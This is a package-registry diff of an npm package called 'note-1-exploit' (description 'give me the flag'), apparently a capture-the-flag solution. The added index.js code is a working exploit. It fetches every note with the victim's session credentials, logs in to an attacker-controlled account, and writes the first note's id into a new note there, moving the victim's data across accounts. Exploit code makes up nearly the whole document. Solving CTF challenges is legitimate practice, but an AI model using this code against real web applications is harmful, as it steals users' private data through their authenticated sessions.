note-1-exploit 1.0.5 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +33 -2
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,5 +1,5 @@
1
1
  async function exploit() {
2
- var all_results = await fetch("http://10.113.184.121:10082/api/notes/all", {
2
+ let all_results = await fetch("http://10.113.184.121:10082/api/notes/all", {
3
3
  "headers": {
4
4
  "accept": "*/*",
5
5
  "accept-language": "zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7",
@@ -12,6 +12,37 @@ async function exploit() {
12
12
  "mode": "cors",
13
13
  "credentials": "include"
14
14
  }).then(res => res);
15
- var json_results = await all_results.json();
15
+ let json_results = await all_results.json();
16
+ let note_name = (Math.random() + 1).toString(36).substring(7);
17
+ a = await fetch("http://10.113.184.121:10082/login", {
18
+ "headers": {
19
+ "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
20
+ "accept-language": "zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7",
21
+ "cache-control": "max-age=0",
22
+ "content-type": "application/x-www-form-urlencoded",
23
+ "sec-gpc": "1",
24
+ "upgrade-insecure-requests": "1"
25
+ },
26
+ "referrer": "http://10.113.184.121:10082/login",
27
+ "referrerPolicy": "strict-origin-when-cross-origin",
28
+ "body": "username=abc123&password=abc123",
29
+ "method": "POST",
30
+ "mode": "cors",
31
+ "credentials": "include"
32
+ });
33
+ fetch("http://10.113.184.121:10082/api/notes", {
34
+ "headers": {
35
+ "accept": "*/*",
36
+ "accept-language": "zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7",
37
+ "content-type": "application/json",
38
+ "sec-gpc": "1"
39
+ },
40
+ "referrer": "http://10.113.184.121:10082/",
41
+ "referrerPolicy": "strict-origin-when-cross-origin",
42
+ "body": "{\"title\":\"" + note_name + "\",\"content\":\"" + json_results[0].id + "\"}",
43
+ "method": "POST",
44
+ "mode": "cors",
45
+ "credentials": "include"
46
+ });
16
47
  console.log(json_results)
17
48
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "note-1-exploit",
3
- "version": "1.0.5",
3
+ "version": "1.0.6",
4
4
  "description": "give me the flag",
5
5
  "main": "index.js",
6
6
  "scripts": {